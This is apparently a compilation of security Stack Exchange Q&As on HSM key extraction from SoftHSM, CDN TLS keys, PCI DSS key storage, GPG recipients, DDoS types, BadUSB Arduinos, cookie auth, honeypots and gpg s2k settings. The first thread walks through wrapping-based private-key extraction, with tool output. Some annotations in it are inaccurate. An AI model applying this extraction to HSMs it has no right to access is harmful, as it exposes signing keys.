RSA insensitive and extractable private key export from SoftHSM 2 I've created an RSA private key in SoftHSM 2 via EJBCA with the following config:

attributes(*, CKO_PUBLIC_KEY, *) = {
  CKA_TOKEN = false
  CKA_ENCRYPT = true
  CKA_VERIFY = true
  CKA_WRAP = false
}

attributes(*, CKO_PRIVATE_KEY, *) = {
  CKA_TOKEN = true
  CKA_PRIVATE = true
  CKA_SENSITIVE = false
  CKA_EXTRACTABLE = true
  CKA_DECRYPT = false
  CKA_SIGN = true
  CKA_UNWRAP = true
  CKA_DERIVE = false
}

In PKCS#11 spec v2.20:

  If the CKA_SENSITIVE attribute is CK_TRUE, or if the CKA_EXTRACTABLE attribute is CK_FALSE, then certain attributesof the secret key cannot be revealed in plaintext outside the token. Which attributes these are is specified for each type of secret key in the attribute table in the section describing that type of key

So I thought that if I set CKA_SENSITIVE to False and CKA_EXTRACTABLE to true I'll be able to extract the key.

I've tried to export the key using pkcs11-tool, but it did not work for me:

$ pkcs11-tool --module /usr/lib/softhsm/libsofthsm2.so -r -y privkey -d OBJECT_ID --pin PIN
Using slot 0 with a present token (0x2ed1a744)
sorry, reading private keys not (yet) supported

I've also tried to use this tool, but it did not work neither (CKR_MECHANISM_INVALID):

# ./pkcs-11-key-extractor-1.0/bin/pkcs-11-key-extractor -l /usr/lib/softhsm/libsofthsm2.so -s 785491780 -p 1234
[*] PKCS#11 Key Extractor - Release 1.0
[*] Registering PKCS#11 Module '/usr/lib/softhsm/libsofthsm2.so'
[*] Opening session on slot '785491780'
[*] Found 1 RSA private key(s) with CKA_EXTRACTABLE set to TRUE
[*] Generating an in memory (CKA_TOKEN: FALSE) 256 bits AES key
[*] Extracting RSA Private Key (CKA_EXTRACTABLE: true) with modulus 'E9:F3:44:CE:9B:90:32:83:69:7E:80:5E:48:A0:9E:00:7A:71:AD:84:6B:CD:DE:AE:10:16:AA:91:61:66:B4:57:EB:9B:9E:A0:51:D4:C6:2C:33:59:A8:7B:F4:44:4A:9B:39:28:44:69:08:58:38:DF:7C:D2:25:2F:29:9C:BD:C7:EE:60:00:DE:77:72:70:CA:7C:A2:38:D1:4C:49:CF:99:1D:7D:2E:DC:62:C1:27:5E:2C:3F:AD:25:D7:36:35:08:77:DE:56:58:8F:E1:AF:D3:C2:8E:B7:7E:D3:E9:80:77:B1:91:77:BE:D1:54:0C:E8:19:97:AD:39:48:4F:51:00:F1:43:8D:41:97:E3:F6:B8:79:18:82:A7:60:C7:6E:AF:D3:27:B5:00:19:CD:0D:40:14:11:47:38:2D:FE:DD:14:2F:B9:1A:3B:2C:FE:B0:52:FC:7E:30:13:1E:6F:41:30:B6:1A:F5:B2:17:62:19:EE:90:B1:8A:79:DA:70:E7:A5:7A:E1:54:86:86:69:A3:A1:8E:AD:12:0F:D0:28:16:0A:43:75:3B:69:46:10:DE:13:D3:F0:6C:57:F6:91:A4:72:14:04:9B:BD:72:82:B7:33:C3:57:55:18:F3:8F:54:3F:A7:80:9D:3E:67:EB:46:94:FD:F4:9F:AA:C7:D7:41:29:AC:0F:C8:2E:DF:C5:8D:D9:A2:77:13:BD:90:5D:D4:CD:05:7E:DA:85:58:F6:4B:62:E6:3E:0C:6C:E6:5F:5F:1D:C0:0C:FA:2C:CB:F4:FD:E7:08:32:DA:9D:EC:BB:1B:C9:56:45:91:C1:41:64:47:02:9F:AE:1F:B8:B1:84:DA:5F:F3:86:6E:6A:F1:06:84:CA:98:1D:F0:B0:F3:73:67:37:36:1D:C8:0E:26:DF:67:5D:DA:70:62:23:AD:22:6B:47:6B:33:BC:D8:41:7E:EA:28:09:EF:8D:12:D3:26:2D:DF:2F:03:75:1B:CE:DF:D4:95:62:DB:39:0A:72:46:4A:79:98:86:0E:E6:82:95:60:4D:FD:0F:16:4A:F8:D1:71:5B:39:5A:A4:D1:1A:52:06:89:C0:B8:6E:1B:B7:D3:27:5D:5D:AF:2E:94:82:D5:F5:12:32:AB:5F:70:20:29:65:56:73:04:EA:2E:F8:73:DF:BF:EC:CC:3C:22:8E:CA:42:90:E1:C5:08:9A:15:AA:45:2D:61:6E:A5:05:7E:9D:4C:C1:5D:73:79:2F:43:71:AA:E2:25:AB:D5:9E:D6:9B:19:D0:D6:80:B0:CF:F3:DE:08:12:53:72:46:CE:F4:40:65:F2:D4:3D:7E:33:A6:30:B7:3F:5B:34:C9:0F:20:6B:DD:9B'
[!] Error extracting private key: 'CKR_MECHANISM_INVALID'
[*] Closing session on slot '785491780'
[*] Unregistering PKCS#11 Module '/usr/lib/softhsm/libsofthsm2.so'

I know it's against the point of having an HSM, but I want to investigate it nevertheless.

Does anyone have an Idea/resources on how to do it ?

If it not possible, I read that a secure alternative would be wrapping the key with a secret key that stays inside the HSM, can someone share any resources on how to do it ? is it possible to do it with openssl and pkcs11-tool ?

First of all, the template you are using in EJBCA is kind of strange. I assume that this template is used to generate a key pair for a Certificate Authority.

attributes(*, CKO_PUBLIC_KEY, *) = {
  CKA_TOKEN = false ==> The public key will be generated on the HSM not be stored in the HSM (lost once the session is closed)
  CKA_ENCRYPT = true . ==> The public key is usable to encrypt (not necessary for a CA)
  CKA_VERIFY = true ==> The public key can be used to verify signature (which is required for a CA)
  CKA_WRAP = false . => The public key cannot be sued to wrap another key (also normal)
}

attributes(*, CKO_PRIVATE_KEY, *) = {
  CKA_TOKEN = true ==> The private key will be stored on the HSM
  CKA_PRIVATE = true ==> This is a private key
  CKA_SENSITIVE = false ==> This means that the object is readable from the HSM if you have the associated PIN. This would be insane for private key of a Certificate Authority
  CKA_EXTRACTABLE = true ==> The key can be extracted but it must be wrapped with another key
  CKA_DECRYPT = false ==> The key cannot be use to decrypt data
  CKA_SIGN = true ==> The key can be use to sign data (required for a CA)
  CKA_UNWRAP = true ==> the key cannot be used to wrap another one
  CKA_DERIVE = false  ==> the key cannot be used to perform derivation
}

With such a template, you should be able to read all the PKCS#11 of the private key (CKA_SENSITIVE is set to false) directly using PKCS#11, no need to use our key extraction tool which should also work as the attribue CKA_EXTRACTABLE is set to true.

Here is what the tool does:

Step 1: Generating a non persistent AES key in the HSM
Step 2: Wrap any private key with the CKA_EXTRACTABLE attribute with the key generated step 1
Step 3: Unwrap the keys wrapped during step 2 with the key generated step 1.

The fact that you are getting a CKR_MECHANISM_INVALID error mainly mean that SoftHSMv2 does not support the wrapping mechanism the tool is program to use.

When I developed this tool, I tested it on a Atos Proteccio HSM.

It seems that it is not working on a SoftHSMv2.

Here is the output I get using test mode:

./pkcs-11-key-extractor -l /usr/local/lib/softhsm/libsofthsm2.so -s 1598976893 -p 1234 -t                             pantin@pantinmbp
[*] PKCS#11 Key Extractor - Release 1.0
[*] Registering PKCS#11 Module '/usr/local/lib/softhsm/libsofthsm2.so'
[*] Opening session on slot '1598976893'
[*] Generating Test RSA key pair (CKA_EXTRACTABLE: TRUE, CKA_WRAP: FALSE, CKA_UNWRAP: FALSE)
[*] Generating Test RSA key pair (CKA_EXTRACTABLE: TRUE, CKA_WRAP: FALSE, CKA_UNWRAP: TRUE)
[*] Generating Test RSA key pair (CKA_EXTRACTABLE: TRUE, CKA_WRAP: TRUE, CKA_UNWRAP: FALSE)
[*] Generating Test RSA key pair (CKA_EXTRACTABLE: TRUE, CKA_WRAP: TRUE, CKA_UNWRAP: TRUE)
[*] Generating Test RSA key pair (CKA_EXTRACTABLE: FALSE, CKA_WRAP: FALSE, CKA_UNWRAP: FALSE)
[*] Generating Test RSA key pair (CKA_EXTRACTABLE: FALSE, CKA_WRAP: FALSE, CKA_UNWRAP: TRUE)
[*] Generating Test RSA key pair (CKA_EXTRACTABLE: FALSE, CKA_WRAP: TRUE, CKA_UNWRAP: FALSE)
[*] Generating Test RSA key pair (CKA_EXTRACTABLE: FALSE, CKA_WRAP: TRUE, CKA_UNWRAP: TRUE)
[*] Found 4 RSA private key(s) with CKA_EXTRACTABLE set to TRUE
[*] Generating an in memory (CKA_TOKEN: FALSE) 256 bits AES key
[*] Extracting RSA Private Key (CKA_EXTRACTABLE: true) with modulus '9D:89:CF:B3:32:B3:8E:50:31:32:33:2C:BC:2C:77:8A:8B:87:70:2C:85:3F:80:0B:32:2A:AB:26:20:52:F8:0F:BB:63:88:14:7C:E0:52:C3:46:BA:80:AA:56:29:06:48:D3:3A:4C:13:5E:FC:D2:93:FF:3E:DD:BC:3A:E7:75:0A:10:C4:AF:B4:29:31:85:11:03:73:EF:52:08:3D:AC:CC:81:5F:C9:77:23:68:6D:68:BC:5D:79:7A:F1:78:DA:AB:7B:50:35:EE:70:DF:E9:37:27:D1:C9:48:ED:03:B0:25:05:01:B0:EE:79:E9:63:6C:64:66:A8:4E:8A:EE:A3:E4:8B:1B:D4:63:17:8E:E9:65:B8:B9:2E:7A:76:2E:51:CF:9D:5E:CB:9D:BA:DD:3B:1D:DB:30:A9:A8:40:BE:F2:58:46:EE:9F:D2:D8:12:95:40:88:B8:D6:73:64:17:60:74:22:33:DB:18:15:6C:00:E0:B7:EB:DA:FC:F8:2F:95:A6:DE:D8:91:6D:67:51:5E:67:FB:DD:C8:4A:0F:3A:B8:BA:07:E5:B4:F1:69:E9:A9:8E:E5:98:97:69:05:D4:63:75:2D:52:DA:FF:EF:3A:DC:63:4F:A6:59:18:1D:87:E3:39:7B:3B:55:5A:D3:8E:26:5D:A9:62:72:2E:7C:A7:A2:91'
[!] Error extracting private key: 'CKR_MECHANISM_INVALID'
[*] Extracting RSA Private Key (CKA_EXTRACTABLE: true) with modulus 'B7:3E:DA:3C:0C:40:A8:59:D5:FB:30:A9:25:6E:14:55:48:BD:7A:82:85:3E:CE:51:DF:A0:7F:9E:95:98:39:5B:CB:1E:6B:92:F4:C9:39:0D:E9:6C:53:B0:DE:C8:2B:19:37:F6:21:F1:90:14:24:E0:B0:32:FB:F6:7D:31:C1:EF:CD:11:1C:4D:5F:CA:90:67:2C:EB:BA:A8:25:8F:D3:DF:9F:0A:4C:F9:30:94:AA:05:9C:E1:5E:28:D2:F6:95:9E:5D:88:6E:D1:81:7D:C2:50:A3:45:F4:1D:E3:6F:22:55:C3:34:83:DA:9D:15:36:B9:B3:8C:8D:AC:1C:B4:29:62:51:15:30:97:62:E5:CE:42:AB:FB:A5:72:F6:77:50:A0:65:0C:AC:7F:3D:70:1C:F5:F0:76:21:AF:2F:B5:5D:63:1E:7D:2D:24:9C:D5:A3:24:20:64:0B:29:82:96:65:79:04:75:C3:6B:02:01:8D:4E:5D:C2:BF:8F:E6:D0:FA:7B:D0:34:59:D5:E5:77:4E:7F:01:FC:D1:2B:48:A7:3B:DB:6C:9A:45:CE:44:1A:FB:88:A3:34:4D:13:F2:8B:14:9A:11:5E:FF:1C:1C:E9:F7:95:46:AE:C0:4E:7F:8A:04:68:4F:23:8A:83:8D:81:6A:11:C6:C4:2A:36:EB:3A:4D:47'
[!] Error extracting private key: 'CKR_MECHANISM_INVALID'
[*] Extracting RSA Private Key (CKA_EXTRACTABLE: true) with modulus 'D4:11:96:CA:68:CE:A0:A2:0E:E7:B6:91:28:33:10:E2:21:A2:27:80:46:50:13:44:8B:27:56:D9:41:95:48:7B:14:F7:18:4A:AA:03:3C:79:DF:C6:11:84:CB:30:EC:5D:B0:20:A1:35:57:0D:6F:4A:21:29:77:23:94:51:B2:52:B7:1D:E8:04:68:5A:B9:1C:6C:B3:57:27:84:8E:A9:37:BC:9D:0F:D3:3E:DE:68:9C:14:29:55:F8:19:E4:9F:77:57:AD:E3:3D:69:64:1B:00:1D:25:9F:1F:58:C7:48:62:62:F8:D9:B8:48:96:F1:76:71:CB:FA:A9:95:4C:EA:D5:57:48:8A:56:EE:B8:9E:35:82:00:2C:49:6B:10:9E:FA:66:94:DE:46:E6:DC:BC:6E:6A:52:CC:70:FE:ED:E7:AC:A7:6E:54:07:65:F7:9F:92:C9:30:3A:57:F4:AE:91:5D:3F:D9:53:93:5B:D0:CB:A8:D7:73:C7:2A:92:63:54:26:1A:AB:BE:C5:F6:9F:EE:EC:21:16:90:DF:DC:45:39:7D:6E:C7:83:0A:A7:74:33:34:B3:9C:7F:82:74:5C:13:A7:83:1D:28:6D:57:11:51:5F:D7:09:59:7B:7B:2A:E2:DD:84:A8:66:B5:1A:50:9F:91:BF:FE:23:94:29:BF:05:0D'
[!] Error extracting private key: 'CKR_MECHANISM_INVALID'
[*] Extracting RSA Private Key (CKA_EXTRACTABLE: true) with modulus 'AD:C9:0B:06:53:6B:D3:47:F2:C2:16:F6:48:85:31:7F:FD:B4:2B:F0:E2:73:87:0B:FE:34:59:75:8A:A6:95:E1:16:B7:A7:B3:75:B2:E5:69:AE:5F:47:5D:56:D7:3F:2D:14:1B:46:C1:5E:5A:ED:FD:28:6F:76:EF:4E:16:FC:CD:35:54:A2:36:52:89:80:DA:87:55:AF:BF:69:FA:FC:2C:0F:99:8C:27:DF:32:96:72:EC:AA:A3:72:9E:78:05:99:68:D5:18:70:15:C0:18:F1:C0:1E:4A:E6:BF:93:C3:12:D1:80:6F:71:1E:66:EB:39:DD:56:1B:A1:08:2B:66:6D:40:67:EF:16:15:1F:14:73:C6:66:20:46:11:57:AC:15:4F:45:FE:89:83:A3:B0:7D:5B:2E:4D:5F:8C:1F:7B:D3:5E:85:F3:61:0A:AD:86:B2:2E:03:AA:2D:6A:CC:39:7B:3E:0E:65:85:6B:8D:5B:71:F8:5C:D7:A0:C5:8B:E2:B5:9A:B4:0C:C6:C1:C1:ED:D5:D0:00:53:E3:08:41:B0:6F:1D:62:66:11:FD:C4:63:2C:B0:CC:EB:24:9B:AD:C5:2D:5E:4C:E1:C4:4B:F8:9C:31:A3:D0:B3:C6:9B:BA:2A:2B:7B:5F:35:4E:CA:3B:DB:9E:F2:90:A7:6B:C0:DF:7C:3B'
[!] Error extracting private key: 'CKR_MECHANISM_INVALID'
[*] Closing session on slot '1598976893'
[*] Unregistering PKCS#11 Module '/usr/local/lib/softhsm/libsofthsm2.so'

If you look at the code of the tool, you will see that the key is wrapped using the 'CKM_AES_CBC_PAD' mechanism.

If you list the mechanisms supported by SoftHSMv2:

pkcs11-tool --module /usr/local/lib/softhsm/libsofthsm2.so -M                                                         pantin@pantinmbp
Using slot 0 with a present token (0x5f4e737d)
Supported mechanisms:
  MD5, digest
  SHA-1, digest
  SHA224, digest
  SHA256, digest
  SHA384, digest
  SHA512, digest
  MD5-HMAC, keySize={16,512}, sign, verify
  SHA-1-HMAC, keySize={20,512}, sign, verify
  SHA224-HMAC, keySize={28,512}, sign, verify
  SHA256-HMAC, keySize={32,512}, sign, verify
  SHA384-HMAC, keySize={48,512}, sign, verify
  SHA512-HMAC, keySize={64,512}, sign, verify
  RSA-PKCS-KEY-PAIR-GEN, keySize={512,16384}, generate_key_pair
  RSA-PKCS, keySize={512,16384}, encrypt, decrypt, sign, verify, wrap, unwrap
  RSA-X-509, keySize={512,16384}, encrypt, decrypt, sign, verify
  MD5-RSA-PKCS, keySize={512,16384}, sign, verify
  SHA1-RSA-PKCS, keySize={512,16384}, sign, verify
  RSA-PKCS-OAEP, keySize={512,16384}, encrypt, decrypt, wrap, unwrap
  SHA224-RSA-PKCS, keySize={512,16384}, sign, verify
  SHA256-RSA-PKCS, keySize={512,16384}, sign, verify
  SHA384-RSA-PKCS, keySize={512,16384}, sign, verify
  SHA512-RSA-PKCS, keySize={512,16384}, sign, verify
  RSA-PKCS-PSS, keySize={512,16384}, sign, verify
  SHA1-RSA-PKCS-PSS, keySize={512,16384}, sign, verify
  SHA224-RSA-PKCS-PSS, keySize={512,16384}, sign, verify
  SHA256-RSA-PKCS-PSS, keySize={512,16384}, sign, verify
  SHA384-RSA-PKCS-PSS, keySize={512,16384}, sign, verify
  SHA512-RSA-PKCS-PSS, keySize={512,16384}, sign, verify
  GENERIC-SECRET-KEY-GEN, keySize={1,2147483648}, generate
  DES-KEY-GEN, generate
  DES2-KEY-GEN, generate
  DES3-KEY-GEN, generate
  DES-ECB, encrypt, decrypt
  DES-CBC, encrypt, decrypt
  DES-CBC-PAD, encrypt, decrypt
  mechtype-0x1100, derive
  mechtype-0x1101, derive
  DES3-ECB, encrypt, decrypt
  DES3-CBC, encrypt, decrypt
  DES3-CBC-PAD, encrypt, decrypt
  mechtype-0x1102, derive
  mechtype-0x1103, derive
  mechtype-0x138, sign, verify
  AES-KEY-GEN, keySize={16,32}, generate
  AES-ECB, keySize={16,32}, encrypt, decrypt
  AES-CBC, keySize={16,32}, encrypt, decrypt
  AES-CBC-PAD, keySize={16,32}, encrypt, decrypt
  mechtype-0x1086, keySize={16,32}, encrypt, decrypt
  mechtype-0x1087, keySize={16,32}, encrypt, decrypt
  mechtype-0x2109, keySize={16,2147483648}, wrap, unwrap
  mechtype-0x210A, keySize={1,2147483648}, wrap, unwrap
  mechtype-0x1104, derive
  mechtype-0x1105, derive
  mechtype-0x108A, keySize={16,32}, sign, verify
  DSA-PARAMETER-GEN, keySize={512,1024}, generate
  DSA-KEY-PAIR-GEN, keySize={512,1024}, generate_key_pair
  DSA, keySize={512,1024}, sign, verify
  DSA-SHA1, keySize={512,1024}, sign, verify
  mechtype-0x13, keySize={512,1024}, sign, verify
  mechtype-0x14, keySize={512,1024}, sign, verify
  mechtype-0x15, keySize={512,1024}, sign, verify
  mechtype-0x16, keySize={512,1024}, sign, verify
  DH-PKCS-KEY-PAIR-GEN, keySize={512,10000}, generate_key_pair
  DH-PKCS-PARAMETER-GEN, keySize={512,10000}, generate
  DH-PKCS-DERIVE, keySize={512,10000}, derive
  ECDSA-KEY-PAIR-GEN, keySize={112,521}, generate_key_pair, other flags=0x1900000
  ECDSA, keySize={112,521}, sign, verify, other flags=0x1900000
  ECDH1-DERIVE, keySize={112,521}, derive

You can see that the 'AES-CBC-PAD' mechanism is only usable to perform encrypt and decrypt operation.

Here are the mechanisms which could be used to wrap/unwrap a key in SoftHSMv2:

pkcs11-tool --module /usr/local/lib/softhsm/libsofthsm2.so -M | grep wrap                                             pantin@pantinmbp
Using slot 0 with a present token (0x5f4e737d)
  RSA-PKCS, keySize={512,16384}, encrypt, decrypt, sign, verify, wrap, unwrap
  RSA-PKCS-OAEP, keySize={512,16384}, encrypt, decrypt, wrap, unwrap
  mechtype-0x2109, keySize={16,2147483648}, wrap, unwrap
  mechtype-0x210A, keySize={1,2147483648}, wrap, unwrap

This mainly means that to make our tool work with SoftHSMv2, you would have to modify it to generate, wrap and unwrap the key with a RSA key pair.

Feel free to contact me directly on may email to explain me why you want to do that and we will see what can be done.


Can I use a CDN for static content without sacrificing SSL keys? I would like to use a CDN for the static content of a website.
But obviously I do not wish to share my SSL key with any external service.
What are my options?

An ideal solution would be to link to unencrypted static content but enforce (!) that browsers authenticate this content, for example by checking that it matches a hash. I imagine including this hash with every static link. But can it be done? I do not want to trigger a mixed-content warning, and I also do not want to open a security hole by either not authenticating static content or by giving the CDN the ability to sign anything with my key.

Can this be done? If not with current browsers, what needs to be done to make it possible?

Since you have no control over how the browser checks for mixed content you have to have all content load over SSL, otherwise you will get mixed content warnings.

You don't have to give up your private keys to a CDN if they already provide an HTTPS endpoint. The only difference is that you don't get your own custom domain. That, I think, is a pretty reasonable trade off.


Which is best DPAPI or HSM? Can you please explain what's is the main difference between for this both DPAPI and
 HSM? As far as I understand both protecting the data, the way of protection is difference HSM is physical device and DPAPI provide operating system-level data protection.
   Which is the best method/way to protect the Cardholder data according to the PCI-DSS standards?

Thanks,
Chandru

PCI DSS 3.5.2

  Store secret and private keys used to encrypt/decrypt cardholder data
  in one (or more) of the following forms at all times:

  Encrypted with a key-encrypting key that is at least as strong as the    data-encrypting key, and that is stored separately from the
  data-encrypting key
  Within a secure cryptographic device (such as a host security module    (HSM) or PTS-approved point-of-interaction device)
  As at least two full-length key components or key shares, in    accordance with an industry-accepted method

It depends. DPAPI is just an API that provides a simple  cryptographic application programming interface. Meaning it allows you to safely use cryptographic functions without you having to worry how they work. The DPAPI allows for automatic key expiration (which is one of the PCI-DSS rules).

The benefit of an HSM is that it's a hardware module which can be made tamper proof. Often they are also certified for key storage (FIPS compliance). Performance wise it can be more effective.

Personally I would consider an HSM if you've got the budget. According to PCI-DSS there is actually no best, either are good providing your implementation is done correctly.


With GPG, can 3rd party verify that message has been encrypted by specific public key? Bob is sending message X to Alice. He encrypts X with Alice's public key using gpg and sends her encrypted message (ciphertext).

Later Alice claims that Bob made a mistake and the ciphertext was not created with her public key.

Can Bob prove to 3rd party that the encrypted message is in fact encrypted with Alice's public key?

The resulting encrypted message is different every time even when message X is the same (Will encrypting the same file with GnuPG and the same key produce the same ciphertext?) so the 3rd party can't just encrypt it again and comapre results. Is there any other way?

If possible, please give commands how to execute this in existing software.

EDIT: Alice is not cooperating. X can be revealed to 3rd party (but better if possible without)

Maybe sort of.

The pk-encrypted-sk packet in PGP (see rfc4880 5.1) normally contains the 64-bit 'long' keyid of the recipient's key; this is intended to help the recipient use the correct decryption key if they have more than one, and to help the recipient identify which tag-1 packet (if any) is for them in a message encrypted to multiple recipients. It may be suppressed by substituting zero if desired.
This can be displayed by any number of PGP analysis/debugging tools, including gpg --list-packets.

If Bob is accused only of a mistake, not of cheating on or lying about sending the message, and did not use GnuPG's --hidden-recipient or similar, this is probably sufficient. If Bob is accused of (even contributory) malfeasance it might help if when the message was sent (or at least prior to any dispute) he signed it, had it timestamped by a TSA, or both, but you'd have to be more specific about the case or range of possible cases to be handled. (ObSecStack: what's your threat model?)

Assuming the key blob is still available or can be obtained e.g. from a keyserver, this almost 'proves' what key Bob used. It is presently difficult, but not impossible, to generate a false key (second-preimage) for a long keyid. (It is easy for 32-bit 'short' keyids often used for manual selection or 'verification', see https://evil32.com .) It is practical to generate collisions for 64-bit, but that would require Alice to knowingly collude in a false claim; see above about threat model.

However, that does not constitute proof the key used was (or still is) Alice's -- it is quite possible that Bob did in fact make a mistake. What reason or evidence did he use in choosing that key to encrypt to?

Just having a key with Alice's name in it is NOT proof it is her key -- those are trivial to fake.
Having a key with Alice's name in it that was signed by trusted other parties is better evidence, but not absolute -- with enough effort someone could have posed as Alice to get a fake key signed.
Even if Alice actually gave Bob this key, can he prove (1) she did so and (2) he at all times thereafter maintained it on device(s) or storage that no one else could have tampered with?

Note: similar to Is it possible to prove which public key was used to encrypt a message? which covers a broader range than just PGP.
Also
Can I check who can decrypt my GPG message after I encrypt it?
What information is leaked from an OpenPGP encrypted file?
Can all the (other) recepients of a PGP encrypted message be identified?
which I didn't see earlier.


Is SYN DDoS the only type of TCP DDoS? I have been reading up on different types of DDoS attacks recently and came upon DDoS distribution by type in 2017, by Kaspersky Labs.
They list 5 different DDoS types:
SYN, TCP, UDP, HTTP, ICMP

In all other resources that I have come across so far, SYN DDoS and TCP DDoS attacks are used as complete synonyms, however Kaspersky Labs seems to differentiate between the two. When I search for TCP DDoS attack specifically, only information about SYN DDoS comes up.

I guess my question could be rephrased as:
Is TCP DDoS attack always also a SYN attack? Or are there other ways to use TCP for DDoS purposes?

In the article they mention "TCP DDoS attacks", but the summary also says (emphasis mine):

  There was a considerable drop in the share of attacks over TCP (down to 18.2% from 26.6%) and ICPM (down to 7.3% from 8.2%). This caused a rise in the percentage of SYN floods and attacks over UDP and HTTP.

DDoS attacks on L4 (TCP SYN flood) is one type of an attack using TCP, but others can involve the application layer (L7). The authors mention HTTP as a special case, but one could also flood SSH or mail services with (small) requests that require more processing from the server side. These are services that run over TCP.


Dealing with USB Arduinos It is probably common enough knowledge now that you should not plug into your computer any device that an attacker has had physical access to. Especially USB devices.

Thanks to the many tutorials on how to make your own RubberDucky/BadUSB, it is very easy and simple for any malicious actor to make one especially using an Arduino Leonardo-based board.

Consider the case of ordering an Arduino Leonardo online.
If before delivery it should get compromised, evil-made style or intercepted during delivery, is there any way to detect it? Are there any telltale signs I can look for in the output of dmesg?

If I were reasonably sure that the device is 100% an Arduino Leonardo that may have simply have been compromised, would clearing it by uploading a new sketch from a Live OS be enough to make it safe for use?

To be clear, the threat model I'm assuming is an adversary that can execute an evil-maid level attack but not one that can probably manufacture their own Arduino clones.

The USB driver code in an Arduino Leonardo just lives in the writable area of the ATmega32U4. If you're worried it's been compromised, you can reflash it via ISP (in-system programming):

  [this] happens thanks to a special piece of code that is executed at every reset of the microcontroller and that looks for a sketch to be uploaded from the serial/USB port using a specific protocol and speed. If no connection is detected, the execution is passed to the code of your sketch.

Unlike uploading a sketch normally, this doesn't require connecting the Arduino directly to your USB port, is unaffected by the (possibly malicious) bootloader, and results in a known-good bootloader being installed. If the Arduino were compromised and you plugged it in via USB anyway, it would appear with extra VID/PIDs in dmesg, but by then it may be too late to avoid taking over your system.


Use Authentication using 2 encrypted strings So, basically I am trying to log a user in with a cookie and do not query DB to improve performance.

Here is a brief idea:

Transmit everything via SSL
Set a Global secret key A and secret key B
Generate a random verification string on registration and password change
Encrypt the verification string with A, store it in cookie
Encrypt the verification string with B, store it in cookie
When user tries to login, I decrypt each string with A and B, compare if they match

I am wondering if it is a good idea if it is:

How can I actually do the encryption in Java, using bouncycastle ASE-256, Digest or whatever?

How much does this encryption/decryption process affect the performance, when compared with authentication by storing a session variable in a super fast DB like Redis?

If it is not: What should I do?

It sounds like you're trying to store an authenticatable message with a client. For that, you want to use an [HMAC]. Some of the downsides of this solution were recently discussed in the question Password reset links: random value or authenticated message?.

I personally lean toward databases in great part because you'll need to store something to be authenticated against at some point and database checks allow you to expire tokens. Once you pass an authenticated message, you can't kill it early unless you check a revocation list... database access again.


How do you analyze the data collected from honeypot software? So you've successfully setup a honeypot. GREAT! Now what?! I've got all this amazing data but;

How do you analyze all the data collected from your honeypot software?
What should you be looking for? (IP addresses, Malware, IRC connections, 0days used, etc)

This is the 4th part of the "How to setup a honeypot" series;

Part 1; How to set up a Virtual Machine for a Honeypot?
Part 2; How to set up a network for a honeypot?
Part 3; https://security.stackexchange.com/questions/21531/how-to-do-you-setup-the-software-used-to-run-a-honeypot

So there are quite a few things you can do. Like AviD said you really need to know what your goal is with the honeypot before you even set it up.

Watch behavior. Depending on the type of honeypot you have, you may see certain types of behavior that you can use to characterize the person attacking you. For example...If the attacker always sends 1 ICMP packet as if they ran the command ping -c 1 x.x.x.x. Or if you have a higher interaction honeypot, if they constantly run the ls command...quirks like that. If the attacker returns then you may be able to recognized him based off of these.
Big organizations who deal with huge numbers of attacks (and successful attacks) will sometimes build honeypot networks that they put compromised computers into. They watch the attacker and figure out what they may be after, what their goals were, and who they might be. This may help you decide if changes need to be made to your security policy.
If they are really crummy you may be able to figure out who they are (I've seen this happen often with botnets). Do with this information what you like...Build a court case or whatever you want...

If you were asking more of a technical How to sift through logs then you will need standard linux command line kung fu. Grep and awk are youre friends. Or you can use a tool to build a timeline like Zeitline or some other one.

Your course of action really depends on the data you collected. If there is IRC traffic then of course you want to investigate it. If you discover executables downloaded then you want to investigate that. Literally everything that is out of ordinary you want to investigate. tcprelay and security onion may be really really helpful in figuring what happened because it will help you create a timeline and see everything you asked about.

Hope I was helpful.


Is anybody using client browser certificates? Client browser certificates seem to be a nice way to protect sites from intruders - it is impossible to guess and should be harder to steal. Of course, they do not solve all the problems, but they add security.

However, I didn't encounter any public sites using them. Are there sites that use them? Is there some flaw in them that precludes the usage even when security is important or some other reason why there's so little usage of them?

Client side certificated just haven't had a good enough cost/benefit tradeoff.  They are very confusing to users so support costs go up.  And they are still just bits and thus "something you know" and are vulnerable to a range of software attacks on the browser, the distribution scheme, phishing etc.

Hardware token schemes (two-factor authn) are better for good authn.   Single-sign-on (SSO) schemes, potentially federated, and potentially backed by hardware tokens, solve more issues and are easier to deploy.

Managing a lot of certificates would be far more complicated for a user than the current thorny multiple-password issue, and browsers don't offer good support for selecting the right certificate.  And if a user uses a single cert for lots of sites, then there are privacy issues since use of the certificate identifies the user.

Over the decades, a lot of us have thought that the age of end-user PK-crypto was just around the corner, especially those like me enamored of the beauty of RSA.  It just turns out that the way it has evolved, the help desk and development costs and subtleties and complexities and legal entanglements of real-world PKI keep eating up the benefits.

Equipment seems more expensive than bits, but not if the bits don't do the job, or effective use of them eats up productivity.


What concrete parameters can I change to make my passphrase-protected private gpg key more secure There are several questions which discuss the resistance of passphrase-protected private gpg keys against brute force attacks. It seems, this kind of discussion could go on forever.

Rather than starting yet another of these endless discussions, I would just like to ask which concrete options/parameters I can change in my gpg.conf to make my passphrase-protected private gpg key more secure.

From what I understand, the default options are chosen mainly for compatibility, rather than maximum security. For example, the default number of iterations s2k-count is 65536, so that even slow arm processors can compute it in milliseconds.

I don't care about slow arm processors. I would rather wait 100 milliseconds longer, and have my passphrase iterated 65011712 times.

I am not a crypto expert. Can somebody please suggest other options which could be changed from the defaults? At the moment, I have the following in my  gpg.conf.

cipher-algo AES256
s2k-count 65011712

I am using gnupg 1.4.12 on Debian Wheezy

UPDATE (for the bounty):

Are there really no other parameters apart from cipher-algo and s2k-count that I can change, to make my password-protected secret key more resistant to a potential (brute-force) cryptographic attack ?

In particular, I don't like the idea that the default algorithm used for hashing the key is SHA1. Is this algorithm not obsoleted?

Should I not use s2k-digest-algo SHA256 instead ?
Or is there a good reason to use SHA1 (i.e. hash size) ?

Reasonable Defaults for s2k

You can tune multiple parameters. The s2k-mode should generally stay on it's default value, 3: this uses both a salt and repeats salt and passphrase during application of the digest function. Further parameters are the symmetric encryption algorithm (s2k-cipher-algo), the digest algorithm (s2k-digest-algo) and (if mode 3 is used) the number of repetitions of hash and passphrase, increasing the amount of data to be hashed (s2k-count). All of those options can either be set in the GnuPG configuration file ~/.gnupg/gpg.conf or on the command line (prefixed with --, for example --s2k-digest-algo).

For the three "tunable" options, you have to balance execution time and security.

s2k-cipher-algo: As the amount of data to encrypt is very small, it does not really matter how much overhead is spent on encryption without a notable difference. The default AES128 should probably be fine, but why not use the additional security margin if we won't suffer from a notably higher computation effort?
